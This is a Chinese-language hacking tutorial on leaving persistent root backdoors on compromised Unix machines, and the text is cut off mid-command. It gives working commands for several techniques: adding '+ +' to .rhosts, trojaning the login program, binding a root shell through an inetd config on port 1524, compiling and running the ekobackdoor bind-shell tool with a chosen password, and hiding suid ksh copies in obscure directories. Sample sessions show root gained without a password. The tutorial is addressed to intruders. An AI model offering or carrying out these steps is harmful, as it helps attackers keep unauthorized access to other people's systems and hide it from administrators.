當我們通過某種手段控制一個主機時,為了使自己能再次光顧這台計算機,我們通常在這個機器上留下後門,以便我們再次訪問.一個做得好的後門,即使在入侵被管理員發現後,仍然能讓你再次訪問到主機. 本文的意旨是讓你學會如何在完全控制系統後保留自己的根用戶權限,下面介紹一下我常用的制作後門的手法,不會也不可能覆蓋到所有可能的方法,請原諒.
1.Rhosts + + 後門 在連網的Unix機器中,象Rsh和Rlogin這樣的服務是基於rhosts文件裡的主機名使用簡單的認證方法. 用戶可以輕易的改變設置而不需口令就能進入. 入侵者只要向可以訪問的某用戶的rhosts文件中輸入"+ +", 就可以允許任何人從任何地方無須口令便能進入這個帳號. 特別當home目錄通過NFS向外共享時, 入侵者更熱中於此. 這些帳號也成了入侵者再次侵入的後門. 許多人更喜歡使用Rsh, 因為它通常缺少日志能力. 許多管理員經常檢查 "+ +", 所以入侵者實際上多設置來自網上的另一個帳號的主機名和用戶名,從而不易被發現. 例如: # echo + + > /usr/bin/.rhosts # cat /usr/bin/.rhosts + + # rlogin -l bin localhost 將不用輸入密碼直接用bin帳號rlogin登陸進你的機器.
2.Login後門 在Unix裡,login程序通常用來對telnet來的用戶進行口令驗證. 入侵者獲取login.c的原代碼並修改使它在比較輸入口令與存儲口令時先檢查後門口令. 如果用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入. 這將允許入侵者進入任何帳號,甚至是root.由於後門口令是在用戶真實登錄並被日志記錄到utmp和wtmp前產生一個訪問的, 所以入侵者可以登錄獲取shell卻不會暴露該帳號. 管理員注意到這種後門後, 便用"strings"命令搜索login程序以尋找文本信息. 許多情況下後門口令會原形畢露. 入侵者就開始加密或者更好的隱藏口令, 使strings命令失效. 所以更多的管理員是用MD5校驗和檢測這種後門的. 一般的rootkit包裡都有login後門程序.
3.服務進程後門 inetd 進程負責監聽各個TCP和UDP端口的連接請求,並根據連接請求啟動相應的服務器進程。該配置文件 /etc/inetd.conf 很簡單,基本形式如下: (1) (2) (3) (4) (5) (6) (7) shell stream tcp nowait root /usr/sbin/in.rshd in.rshd login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd comsat dgram udp wait root /usr/sbin/in.comsat in.comsat talk dgram udp wait root /usr/sbin/in.talkd in.talkd 1:第一欄是服務名稱。服務名通過查詢 /etc/services 文件(供 TCP 和 UDP 服務使用)或 portmap 守護進程(供 RPC 服務使用)映射成端口號。RPC(遠程過程調用)服務由 name/num 的名字格式和第三欄中的 rpc 標志識別。 2:第二欄決定服務使用的套接口類型:stream、dgram 或 raw。一般說來,stream 用於 TCP 服務,dgram 用於 UDP, raw 的使用很少見。 3:第三欄標識服務使用的通信協議。允許的類型列在 protocols 文件中。協議幾乎總是是 tcp 或 udp。RPC 服務在協議類型前冠以 rpc/。 4:如果所說明的服務一次可處理多個請求(而不是處理一個請求後就退出),那麼第四欄應置成 wait,這樣可以阻止 inetd 持續地派生該守護進程的新拷貝。此選項用於處理大量的小請求的服務。如果 wait 不合適,那麼在本欄中填 nowait。 5:第五欄給出運行守護進程的用戶名。 6:第六欄給出守護進程的全限定路徑名。 7:守護進程的真實名字及其參數。 如果所要處理的工作微不足道(如不需要用戶交互),inetd 守護進程便自己處理。此時第六、七欄只需填上 internal 即可。所以,要安裝一個便利的後門,可以選擇一個不常被使用的服務,用可以產生某種後門的守護進程代替原先的守護進程。例如,讓其添加 UID 0 的帳號,或復制一個 suid shell。 當然我們有一個更簡單的方法, 下面的操作bind root shell 1524端口. # echo ingreslock stream tcp nowait root /bin/ksh ksh -i > /tmp/.x # /usr/sbin/inetd -s /tmp/.x # rm -f /tmp/.x # telnet localhost 1524 Trying 127.0.0.1... Connected to localhost. Escape character is ^]. # # id ksh: id^M: not found # id; uid=1002(gao) gid=1(other) euid=0(root) ksh: ^M: not found # exit; Connection closed by foreign host. # 注意,這樣bind的shell在telnet上去後,你要在你想執行的命令後面添加一個" ; "號.即你要執行id命令的輸入應為: id; 當然你也可以把ingreslock換成其他服務.具體請查看/etc/services尋找對應的服務名和端口. 下面為部分/etc/services內容. # cat /etc/services #ident "@(#)services 1.20 98/07/08 SMI" /* SVr4.0 1.8 */ # # Network services, Internet style # tcpmux 1/tcp echo 7/tcp echo 7/udp discard 9/tcp sink null discard 9/udp sink null systat 11/tcp users daytime 13/tcp daytime 13/udp netstat 15/tcp chargen 19/tcp ttytst source chargen 19/udp ttytst source FTP-data 20/tcp ftp 21/tcp telnet 23/tcp smtp 25/tcp mail time 37/tcp timserver time 37/udp timserver name 42/udp nameserver whois 43/tcp nicname # usually to sri-nic domain 53/udp domain 53/tcp bootps 67/udp # BOOTP/DHCP server bootpc 68/udp # BOOTP/DHCP client
4.port bind suid Shell 後門 入侵者可能在任意端口bind suid Shell後門. 許多情況下,他們用口令進行保護以免管理員連接上後立即看到是shell訪問. 管理員可以用netstat命令查看當前的連接狀態, 那些端口在偵聽, 目前連接的來龍去脈. 我提供的壓縮包door.zip裡有一個ekobackdoor-v1.1.tar,為Linux下的bindshell程序包.大家可以自己編譯一下. 方法為, 修改ekobdoor.c 查找 #define PASSWord "ekorulez" 把"ekorulez" 改成你要的密碼. 比如 #define PASSWORD "cnhonker" 把ekobackdoor-v1.1.tar解壓然後make 就可以了. 具體使用方法為: # ./ekobdoor [opcion] [argumento] 下面為不用輸入密碼的 # ./ekobdoor -b 31337 c:\ telnet 200.45.0.115 31337 Trying 200.45.0.115... Connected to 200.45.0.115. Escape character is ^]. # 下面為需要輸入密碼的. # ./ekobdoor -s 31337 c:\ telnet 200.45.0.115 31337 Trying 200.45.0.115... Connected to 200.45.0.115. Escape character is ^]. cnhonker --->輸入密碼. # 這裡的31337你可以改成你想要的端口. 當然它還有更多其他功能.具體你用 -h 查看 #./ekobdoor -h 5.suid shell 在 /tmp 或者其他的目錄下放置 suid shell。以後只要你運行這個程序,就會輕易得到根用戶權限。 #cp /bin/ksh /tmp/.sh #chown root:root /tmp/.sh #chmod +s /tmp/.sh 當你運行/tmp/.sh時, 這裡我們用ksh shell是因為ksh 可以suid.換成其他的shell也許可能不行,具體看各個主機的情況而定.一般我們使用ksh.我們使用的溢出程序用來獲得root權限的,也一般是溢出後執行/bin/ksh. $id uid=1002(Oracle) gid=1(other) $/tmp/.sh # #id uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root) 我們又是root了. 當然,為了更加隱蔽,我們不能把suid shell 放在/tmp 因為它是很容易被發現的. 我們應該放在深層的目錄裡面. 比如: /usr/X11/include/X11/ 或者 /usr/lib/ 等等 通常我做的是: # mkdir /usr/lib/lib/ mkdir /usr/lib/lib/... # cp /bin/ksh /usr/lib/lib/.../lib # chown root:sys /usr/lib/lib/.../li